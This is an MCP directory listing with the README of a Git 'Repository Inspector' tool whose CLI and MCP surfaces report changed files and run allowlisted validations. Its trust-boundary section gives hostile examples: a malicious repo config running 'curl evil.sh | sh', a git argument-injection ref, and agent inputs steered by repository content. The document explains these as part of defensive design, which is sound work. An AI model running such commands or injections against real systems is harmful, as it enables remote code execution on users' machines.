Repository Inspector
Provides tools to inspect Git repositories, reporting changed paths across committed, staged, unstaged, and untracked scopes, and optionally running validation commands.
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@Repository Inspectorshow me the unstaged changes in this repo"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
Repository Inspector
Answers one question reliably: what changed in this Git repository, and does it still build?
It reports changed paths across four disjoint scopes (committed, staged, unstaged, untracked), optionally runs validation commands, and returns the result as Markdown or as a structured JSON document. It is used by developers from a command line, and by AI coding agents over MCP.
The supported behavior is exercised by automated tests: typecheck, build, and 411 tests covering unit parsers, real Git fixtures, validation containment, CLI subprocesses, in-memory MCP, CLI/MCP parity, packaging, and adversarial inputs. Deliberate boundaries are listed under Limitations below.
Interface decision: CLI-first, with MCP as a narrower derived surface
The two interfaces run the same engine but are deliberately unequal in authority. This is the central design decision, and it follows from one observation:
When a developer types
--validate "npm test", they gain no authority they did not already have — they could have runnpm testdirectly. When an AI agent passes the same string over MCP, the situation inverts: the agent's inputs are influenced by the contents of the very repository it is inspecting — a README, a code comment, a test fixture it just read. A free-form command parameter is then a textbook confused-deputy escalation.
So the capabilities differ by interface, and neither "MCP-first" nor a symmetric "hybrid" would be honest about that.
CLI | MCP | |
Primary user | developer, CI job | AI coding agent |
Ad-hoc commands ( | yes | no — capability absent from the schema |
Named allowlisted validations | yes | yes, and only these |
Config source |
|
|
Path confinement | none (the caller chose the path) |
|
Default detail |
|
|
Default output budget | 256 KiB | 16 KiB |
Default per-stream cap | 32 KiB | 4 KiB |
Why MCP still earns its place. The usual pitch for an MCP server is that it gives an agent a new capability. Here it is the opposite: for an agent that already holds an unrestricted shell, this server is a capability reduction — a typed, discoverable, bounded way to answer the same question, with an allowlist the agent cannot widen. That reframing makes the allowlist the product rather than a chore.
Consistency is a test, not a claim. For the same normalised request, the
CLI's --format json output and the MCP tool's structuredContent are
asserted deep-equal after scrubbing measured durations and the absolute
repository path. A companion assertion pins the intended default divergences
above (summary vs full detail, tighter MCP budgets, no MCP ad-hoc commands), so
accidental drift fails the suite while intentional drift stays legible
(test/consistency/cli-mcp-parity.test.ts).
What would change this decision. Telemetry showing most calls are
agent-originated and that agents never need ad-hoc commands would justify
MCP-first. Real per-call sandboxing (container or VM) would remove the trust
asymmetry that justifies CLI primacy. Conversely, if agents consistently
mis-specify repo_path or drown in output, the discoverability benefit has
failed to materialise and the MCP surface should be dropped rather than patched.
Related MCP server: Gitingest MCP Server
Setup
npm install
npm run typecheck
npm run build
npm testnpm run verify runs all three gates in sequence.
Requires Node.js ≥ 20.19 and git on PATH. Verified locally on macOS and in
GitHub Actions on Linux for Node 20 and Node 22. Windows is not supported:
process-group termination and path confinement assume POSIX behaviour.
CLI
# Everything that changed in the working tree and on this branch
npm run inspector -- review --repo .
# Structured output for a script or an agent
npm run inspector -- review --repo . --format json
# Only what has not been committed yet
npm run inspector -- review --repo . --scope worktree
# Run an allowlisted validation and let the exit code carry the verdict
npm run inspector -- review --repo . --config ./inspector.config.json --validation testAfter npm run build, the binary is available as inspector.
Options
Flag | Meaning |
| Repository to inspect. Required. |
| Base ref for the committed scope. Default: auto-detect. |
| Comma-separated: |
|
|
|
|
| Write the report to a file. |
| Ad-hoc command string, repeatable. No shell. |
| Named validation from the config, repeatable. |
| Operator config file. |
| Permit loading |
| Per-stream output cap. |
| Per-validation timeout. |
| Exit 0 whenever a report was produced. |
| Include stack traces for internal errors only. |
| Print and exit 0. |
stdout carries only the report. Confirmations, warnings and errors all go to
stderr, so --format json output is always safe to pipe into a parser.
Exit codes
Code | Meaning |
| Review completed; nothing failed. |
| Review completed; at least one validation failed. The tool worked; your code did not. |
| The caller invoked the tool incorrectly. |
| The repository could not be inspected. |
| A time budget was exceeded. |
| Unexpected internal error. |
The 1 / 3 distinction is the one CI needs: "your tests are failing" is a
different situation from "I could not read the repository".
Configuration
A JSON file, owned by whoever runs the tool:
{
"validations": {
"test": { "argv": ["npm", "test"], "timeoutMs": 120000, "description": "Unit tests" },
"lint": { "argv": ["npm", "run", "lint"] }
},
"mcp": {
"allowValidations": ["test", "lint"]
}
}argvis an array, never a string — there is no shell anywhere in this tool.mcp.allowValidationsis the subset an MCP caller may run. Names outside it are refused even though they exist.A repository-local
inspector.config.jsonis ignored by default, because letting the inspected repository widen the allowlist is the same confused-deputy problem as free-form MCP commands: a malicious repo could ship["sh","-c","…"]under a friendly name liketest. Opt in only with--allow-repo-config; MCP never reads a repo-local config at all.
MCP
npm run mcp-server -- --root /path/to/checkouts --config ./inspector.config.jsonAfter building, the binary is inspector-mcp. Launch options:
Flag | Meaning |
| Confinement root. Every |
| The validation allowlist. Without it the server can inspect but cannot execute anything. |
Tools
inspect_repository — Git inspection only; executes nothing.
Input | Type |
| string, required |
| string, optional |
| array of |
|
|
Annotations: readOnlyHint: true, destructiveHint: false,
idempotentHint: true, openWorldHint: false. The read-only claim is tested,
not merely asserted: a test confirms .git/index is not modified by a call.
run_validations — the same inputs plus validations, an array of
allowlisted names. There is no field through which a command string could be
passed; the capability is absent from the schema, not merely refused. The
allowed names appear as a z.enum in the advertised schema, so an agent can see
its legal options without a failed call first.
Annotations: readOnlyHint: **false**, destructiveHint: false,
openWorldHint: false. A command-executing tool is never marked read-only —
clients use that hint to decide what to auto-approve.
This tool is not registered at all when the allowlist is empty. A tool that would always refuse is worse than an absent one: it burns a turn and teaches the agent nothing.
Failure semantics
Three distinct layers, which are easy to conflate:
Malformed arguments → rejected by the input schema.
The tool could not do its job (not a repository, unresolvable base ref, path outside
--root) →isError: true, withstructuredContentstill present so the agent can branch on a machine-readable code.The review completed but validations failed →
isError: false, andstructuredContent.ok === false.
isErrormeans the tool failed, not the news is bad. A failing test suite is a successful tool call.
Both content[0].text (a short human-readable summary) and structuredContent
are always populated; the SDK does not mirror one into the other.
What gets reported
Four disjoint scopes, because merging them loses the distinction an agent most needs — "I have not committed this yet" versus "this landed on the branch":
Scope | Source |
|
|
| index vs HEAD |
| working tree vs index |
| not in the index, respecting |
A path may legitimately appear in more than one scope. changes.files is the
deduplicated union, with a scopes array per path and a single status chosen by
precedence, so a consumer that does not care about staging can ignore the rest.
Git treats an embedded untracked repository as an opaque path ending in /;
such an entry carries kind: "directory" and is not recursively inspected.
Rename and copy detection is enabled, with origPath and a similarity score.
Only names and statuses are reported — never diff content, which is the single
largest consumer of an agent's context window.
Degraded states are reported as warnings rather than failures: a repository with no commits, a detached HEAD, no discoverable base ref, unmerged paths during a conflict, and the presence of uninspected submodules.
Output size
Every result carries a truncation field naming exactly which fields were
shortened and the total bytes removed. Individual validation outcomes also
report outputBytesDropped when their captured streams were shortened.
Truncation is deterministic, keeps the head and tail with an explicit elision
marker in the middle, and never splits a UTF-8 code point. Captured output has
ANSI escapes stripped and carriage-return overwrites resolved, which routinely
turns megabytes of progress-bar spam into a few hundred bytes.
Trust boundary
No shell, anywhere. Commands are spawned from an argv array. A
--validate string containing ;, &&, |, `, $(…) or a glob is
rejected with an error naming the character — not silently passed through as
a literal argument, which would let you believe your chained command ran.
The allowlist is owned by the operator, never by the repository. If the
inspected repository could supply the config, a malicious repository would ship
an inspector.config.json containing ["sh","-c","curl evil.sh | sh"] and an
agent would execute it merely by asking for "test" — the same confused-deputy
bug wearing a disguise. Repo-local config is therefore ignored unless
--allow-repo-config is passed, and never on the MCP surface at all. When one
is present but ignored, that is reported as a warning rather than passing
silently.
Refs are validated before they reach git. An argv array stops shell
injection but not argument injection: --base-ref "--output=/tmp/x" would
otherwise cause git to write that file. Refs beginning with - are rejected,
every caller-supplied ref is resolved with rev-parse --verify before use, and
--end-of-options separates flags from operands.
Execution hardening. Per-command and total timeouts; SIGTERM then SIGKILL to
the process group, so a test runner's grandchildren cannot outlive the call;
an environment allowlist so GITHUB_TOKEN, AWS_* and similar are never
inherited; stdin closed; and output pipes kept draining past the byte cap so a
chatty command cannot deadlock on a full pipe.
The allowlist is a mitigation, not a sandbox
Allowlisted commands run as ordinary child processes with the operator's full privileges — same user, same filesystem, same network. The allowlist controls which command may start and who may choose it. It does not contain what that command does once running. If you allowlist
npm testand the repository'spackage.jsondefines a malicioustestscript, that script runs. Allowlisting a command is equivalent to trusting the repository you point the tool at. For untrusted repositories, run the server in a container or allowlist nothing and use inspection only, which is the default.
Verification
npm run verify # typecheck + build + testSuite | What it proves |
|
|
| real temp repositories: unborn HEAD, no |
| non-zero exit reported not thrown, timeouts kill the process group, 10 MB output truncated without hanging, secrets scrubbed, stdin-reading commands do not hang |
| pure parser plus real subprocess runs asserting |
| in-process client/server contract and security, over |
| CLI JSON deep-equals MCP |
| hostile inputs, unusual repository states, resource exhaustion |
|
|
The packaging suite exists because the previous version of this project built
successfully while shipping a bin path that did not exist. Only an install
test catches that.
Limitations
Stated plainly rather than implied. In short: the allowlist reduces who may
start a command, but does not isolate what that command can do once running; I
do not claim Windows support; submodules and nested Git directories are not
descended into; diff bodies are never emitted; shell syntax in --validate is
rejected rather than interpreted; validations run one at a time; rename
detection follows Git’s defaults; non-UTF-8 bytes are lossy under UTF-8 decoding.
The validation allowlist is a mitigation, not a sandbox (see above).
Windows is not supported. Process-group termination uses POSIX semantics.
Submodules are not descended into; their presence is reported as a warning.
Diff content is never reported — names and statuses only, deliberately.
Shell syntax in
--validateis rejected, not interpreted. Use several--validateflags, or declare a script in the config.Validations run sequentially; they contend for the same working tree.
Rename detection uses git's default thresholds, so a heavily rewritten moved file appears as a delete plus an add.
Non-UTF-8 paths and binary command output are lossy, though truncation never splits a code point.
Project layout
src/core/ result contract (zod), diagnostics, exit codes, text budgeting,
and the review engine — the only place a review is produced
src/git/ hardened git invocation, -z parsers, four-scope inspection
src/validation/ tokenizer, operator config + trust decisions, hardened runner
src/render/ Markdown and JSON renderers; json.ts is the only serialisation
path, which is what keeps the two interfaces identical
src/cli/ command-line adapter
src/mcp/ MCP adapter; factory.ts builds a server without connecting,
which is what makes the surface testable
test/ unit, integration, cli, mcp, consistency, adversarial, packagingThis server cannot be installed
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Servers
- Flicense-quality-maintenanceEnables AI assistants to interact with local Git repositories for operations like status, commits, branching, and diffs, plus GitHub API integration for managing pull requests when authenticated.Last updated
- FlicenseBqualityDmaintenanceEnables analysis and querying of Git repository content (both public and private) through a unified tool that provides repository summaries, file structures, and full content optimized for LLM consumption.Last updated1
- AlicenseBqualityDmaintenanceEnables AI assistants to perform code reviews by providing access to staged files, git diffs, and repository file content. It allows users to evaluate changes and context within any local git repository before committing or pushing.Last updated38ISC
- Alicense-qualityCmaintenanceEnables AI agents to perform full Git operations including branching, committing, pushing, stashing, rebasing, and more, with safety features and support for advanced workflows like Git Flow and LFS.Last updated29MIT
Related MCP Connectors
Connect AI assistants to GitHub - manage repos, issues, PRs, and workflows through natural language.
Screens public GitHub repos and PRs to generate risk maps, findings, and merge-readiness signals.
Verify a skill, tool, or package for malicious behavior before your agent installs it. Hosted.
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/rakexhs/xsolla-ai-repo-inspector'
If you have feedback or need assistance with the MCP directory API, please join our Discord server